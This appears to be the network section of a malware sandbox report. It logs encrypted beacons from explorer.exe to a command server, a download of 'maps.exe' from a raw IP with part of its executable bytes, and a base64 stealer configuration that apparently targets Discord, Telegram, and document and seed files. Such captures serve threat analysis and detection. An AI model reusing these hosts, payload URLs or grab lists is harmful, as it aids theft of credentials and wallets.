Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49854	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:52.786195040 CET	4728	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npjkdtjva.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 361 Host: host-data-coin-11.com
Jan 6, 2022 21:04:52.786211014 CET	4728	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 5b ca a9 05 Data Ascii: 8v:1C@ohXwmDu$f]d[HLxNmh,0Gl12LApC/wf.0;E/(>$l}XF!g<!$D>a;(h_VfF$*]hqvk-5R
Jan 6, 2022 21:04:53.361825943 CET	4729	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 42 f4 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ABSvDg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49855	91.243.44.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:53.437062979 CET	4729	OUT	GET /stlr/maps.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 91.243.44.130
Jan 6, 2022 21:04:53.501885891 CET	4731	IN	HTTP/1.1 200 OK Date: Thu, 06 Jan 2022 20:04:53 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Thu, 06 Jan 2022 20:01:17 GMT ETag: "8b1e0-5d4ef5555ae03" Accept-Ranges: bytes Content-Length: 569824 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 13 aa cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2e 01 00 00 66 08 00 00 00 00 00 00 e0 09 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0b 00 00 04 00 00 c5 d5 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f0 02 00 60 01 00 00 00 00 03 00 00 da 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 00 e0 02 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 73 68 61 72 65 64 00 00 10 00 00 00 f0 02 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 da 06 00 00 00 03 00 1c e6 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 43 52 54 00 00 00 00 00 80 01 00 00 e0 09 00 11 7d 01 00 00 ee 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa c3 b1 2b 07 00 42 3a 6c 05 42 2c 2c 2b 4f 4e fa d4 cc e3 47 e9 09 5a 85 a0 de 22 99 04 6b 01 4e f7 b2 36 5d 3a b1 ad e2 07 97 2d 69 95 29 f9 bf 8c ae 1f 03 6c f0 02 00 00 00 Data Ascii: MZog':(332fC'B{b+Rd:QPELa.f@@`@`.data`.shared@.rsrc@@.CRT}@+B:lB,,+ONGZ"kN6]:-i)l
Jan 6, 2022 21:04:53.501933098 CET	4732	IN	Data Raw: 00 00 00 00 00 00 a4 f0 02 00 64 f0 02 00 7c f0 02 00 00 00 00 00 00 00 00 00 cb f0 02 00 74 f0 02 00 8c f0 02 00 00 00 00 00 00 00 00 00 ec f0 02 00 84 f0 02 00 9c f0 02 00 00 00 00 00 00 00 00 00 11 f1 02 00 94 f0 02 00 00 00 00 00 00 00 00 00 Data Ascii: d\|t##kernel32.dllSJGetModuleHandleAuser32.dllUUpdateWindowadvapi32.dll
Jan 6, 2022 21:04:53.501974106 CET	4733	IN	Data Raw: 09 04 00 00 48 03 00 00 a0 02 07 00 12 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 09 04 00 00 70 03 00 00 74 9a 06 00 2a 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 09 04 Data Ascii: HpthLV(D h*hA(D
Jan 6, 2022 21:04:53.502012968 CET	4735	IN	Data Raw: 1a ff 42 1d 1b ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff Data Ascii: B@@@@@@@@@@@@@@@@@@@@(8( @ @@@@
Jan 6, 2022 21:04:53.502051115 CET	4736	IN	Data Raw: ca 3b 3d ff 5c 22 22 ff 3e 1d 19 ff 4f 1e 1f ff 6a 20 29 ff 6f 1f 2b ff 61 1d 27 ff 42 1d 1b ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 41 1e 1a ff 7e 50 14 ff e3 9f 0a ff f3 a5 0c ff c5 7e 12 ff 5c 31 19 ff 3c 1b Data Ascii: ;=\"">Oj )o+a'B@@@@@@A~P~\1<\.m$v'@!AA7'V;UB@:\#!<\!#+E*X#U~2A@@@@@@@CX}\0<\-g"~)p+>#:%]8
Jan 6, 2022 21:04:53.502089977 CET	4737	IN	Data Raw: 1a ff 40 1d 1a ff 3f 1d 1a ff 42 1e 1a ff 8a 52 17 ff f0 96 14 ff ff 9b 17 ff ca 73 1b ff 5b 2d 1b ff 3c 1b 1a ff 5b 2a 1d ff ca 5d 28 ff ff 70 31 ff ff 69 35 ff ca 4f 30 ff 5b 26 1f ff 3c 1c 19 ff 5b 23 21 ff ca 3a 3e ff ff 40 4f ff f0 36 4e ff Data Ascii: @?BRs[-<[*](p1i5O0[&<[#!:>@O6N%1B?@@@@@@@@@?BTx\.<[+b%x-l0e4c:K4[% <\#!5A9T0S#3B?@@@@@
Jan 6, 2022 21:04:53.502130985 CET	4739	IN	Data Raw: 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d Data Ascii: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Jan 6, 2022 21:04:53.502175093 CET	4740	IN	Data Raw: 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff Data Ascii: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@AB@@@@@@@@@@@@
Jan 6, 2022 21:04:53.502213955 CET	4742	IN	Data Raw: 40 1d 1a ff 3e 1c 1a ff 69 38 1a ff da 80 19 ff ff 94 1b ff ff 8f 1e ff fd 89 21 ff b9 60 20 ff 55 28 1b ff 3f 1c 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 3f 1d 1a ff 55 23 1f ff b9 3f 34 ff fd 4d 45 ff fe 49 Data Ascii: @>i8!` U(?@@@@@@?U#?4MEIHEL:Di$&>@?????@@@@@@@@@@@AM(N)N(M(E!>@Am:} #]"V(?@@
Jan 6, 2022 21:04:53.502254009 CET	4743	IN	Data Raw: 1a ff 55 2c 19 ff b8 74 14 ff fd a0 13 ff ff 9d 15 ff ff 99 18 ff d9 7d 1b ff 6e 39 1b ff 40 1d 1a ff 3f 1d 1a ff 40 1d 1a ff 6b 32 1e ff d9 66 29 ff ff 74 2f ff ff 6e 31 ff ff 6a 34 ff ff 66 38 ff d9 54 34 ff 6b 2c 22 ff 40 1d 1a ff 3f 1d 1a ff Data Ascii: U,t}n9@?@k2f)t/n1j4f8T4k,"@?@n'&=BAN<Q7S+@U!?@@@@@@@@@@@@@@@@@@@?U,qxn8@@@m3
Jan 6, 2022 21:04:53.567490101 CET	4745	IN	Data Raw: 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 3f 1d 1a ff 55 2a 1a ff ba 68 1b ff fc 8d 1e ff ff 8a 21 ff ff 86 23 ff d8 6d 24 ff 6d 34 1e ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 40 1d 1a ff 6d 2b 23 ff d7 4b Data Ascii: @@@@@?Uh!#m$m4@@@@@@m+#K9SCNEIH79U! ?@@@@@@@@@@@@@@@@@@@@@@@@@?Uk!q"n5@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49857	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:56.416321993 CET	5322	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dvqoyx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 141 Host: host-data-coin-11.com
Jan 6, 2022 21:04:56.416343927 CET	5322	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 84 66 5d 02 c9 a1 c1 64 44 9c 8b 25 Data Ascii: 8v:1C@ohXwmDu$f]dD%+B5v=b[`PO/egmTKb5-h)w t\|
Jan 6, 2022 21:04:56.976002932 CET	5323	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49858	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:57.183484077 CET	5324	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yerbk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: host-data-coin-11.com
Jan 6, 2022 21:04:57.183543921 CET	5324	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 48 87 b3 15 Data Ascii: 8v:1C@ohXwmDu$f]dH)wnw6WbQ!}'"f%g5J9uXd\>/QV 8#z9E,R/jj:Fk(~d~,s$;ybGR_q{r^#}F
Jan 6, 2022 21:04:57.751957893 CET	5325	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49859	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:57.952507973 CET	5326	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vsoqas.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: host-data-coin-11.com
Jan 6, 2022 21:04:57.952522993 CET	5326	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 49 c9 d1 7d Data Ascii: 8v:1C@ohXwmDu$f]dI}.4pA4W5,Y`/>0hI-WY8@nf>$6"E&e`bXhq r32@B#{SCdlbU%WK(~xn
Jan 6, 2022 21:04:58.494900942 CET	5327	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49861	185.7.214.239	80

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:58.652008057 CET	5327	OUT	GET /POeNDXYchB.php HTTP/1.1 Host: 185.7.214.239 Connection: Keep-Alive Cache-Control: no-cache
Jan 6, 2022 21:04:58.719111919 CET	5330	IN	HTTP/1.1 200 OK Date: Thu, 06 Jan 2022 20:04:58 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=24vdtkpnp2sj4dfg4mi5b23qc2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 912 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 58 77 78 66 44 46 38 4d 58 77 78 66 45 52 70 63 32 4e 76 63 6d 52 38 4d 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 5a 47 6c 7a 59 32 39 79 5a 46 78 4d 62 32 4e 68 62 43 42 54 64 47 39 79 59 57 64 6c 58 48 77 71 66 44 46 38 4d 48 77 77 66 46 52 6c 62 47 56 6e 63 6d 46 74 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 46 52 6c 62 47 56 6e 63 6d 46 74 49 45 52 6c 63 32 74 30 62 33 42 63 64 47 52 68 64 47 46 63 66 43 70 45 4f 44 63 33 52 6a 63 34 4d 30 51 31 52 44 4e 46 52 6a 68 44 4b 69 77 71 62 57 46 77 4b 69 77 71 59 32 39 75 5a 6d 6c 6e 63 79 70 38 4d 58 77 77 66 44 42 38 52 47 56 7a 61 33 52 76 63 48 77 31 4d 44 41 77 66 43 56 45 52 56 4e 4c 56 45 39 51 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 77 5a 47 59 73 4b 69 35 72 5a 58 6b 73 4b 6e 4e 6c 5a 57 51 71 4c 43 6f 75 5a 47 39 6a 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 79 77 71 4c 6e 68 73 63 33 68 38 4d 48 77 78 66 44 42 38 56 58 4e 6c 63 6e 77 31 4d 44 41 77 66 43 56 56 55 30 56 53 55 46 4a 50 52 6b 6c 4d 52 53 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 63 47 52 6d 4c 43 6f 75 61 32 56 35 4c 43 70 7a 5a 57 56 6b 4b 69 77 71 4c 6d 52 76 59 79 77 71 4c 6d 52 76 59 33 67 73 4b 69 35 34 62 48 4d 73 4b 69 35 34 62 48 4e 34 66 44 42 38 4d 58 77 77 66 45 52 76 64 32 35 73 62 32 46 6b 63 33 77 31 4d 44 41 77 66 43 56 56 55 30 56 53 55 46 4a 50 52 6b 6c 4d 52 53 56 63 52 47 39 33 62 6d 78 76 59 57 52 7a 58 48 77 71 4c 6e 52 34 64 43 77 71 4c 6e 42 6b 5a 69 77 71 4c 6d 74 6c 65 53 77 71 63 32 56 6c 5a 43 6f 73 4b 69 35 6b 62 32 4d 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 4c 43 6f 75 65 47 78 7a 65 48 77 77 66 44 46 38 4d 48 78 56 55 31 49 67 51 30 39 4f 66 44 55 77 4d 44 42 38 4a 56 56 54 52 56 4a 51 55 6b 39 47 53 55 78 46 4a 56 77 75 59 32 39 75 5a 6d 6c 6e 58 48 77 71 4c 6e 52 34 64 43 77 71 4c 6e 42 6b 5a 69 77 71 4c 6d 74 6c 65 53 77 71 63 32 56 6c 5a 43 6f 73 4b 69 35 6b 62 32 4d 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 4c 43 6f 75 65 47 78 7a 65 48 77 77 66 44 46 38 4d 48 78 6b 62 32 4e 31 62 58 77 31 4d 44 41 77 66 43 56 56 55 30 56 53 55 46 4a 50 52 6b 6c 4d 52 53 56 63 52 47 39 6a 64 57 31 6c 62 6e 52 7a 58 48 77 71 4c 6e 52 34 64 43 77 71 4c 6e 42 6b 5a 69 77 71 4c 6d 74 6c 65 53 77 71 63 32 56 6c 5a 43 6f 73 4b 69 35 6b 62 32 4d 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 4c 43 6f 75 65 47 78 7a 65 48 77 77 66 44 46 38 4d 48 78 32 61 57 52 6c 62 33 77 31 4d 44 41 77 66 43 56 56 55 30 56 53 55 46 4a 50 52 6b 6c 4d 52 53 56 63 56 6d 6c 6b 5a 57 39 7a 58 48 77 71 4c 6e 52 34 64 43 77 71 4c 6e 42 6b 5a 69 77 71 4c 6d 74 6c 65 53 77 71 63 32 56 6c 5a 43 6f 73 4b 69 35 6b 62 32 4d 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 4c 43 6f 75 65 47 78 7a 65 48 77 77 66 44 46 38 4d 48 77 3d Data Ascii: 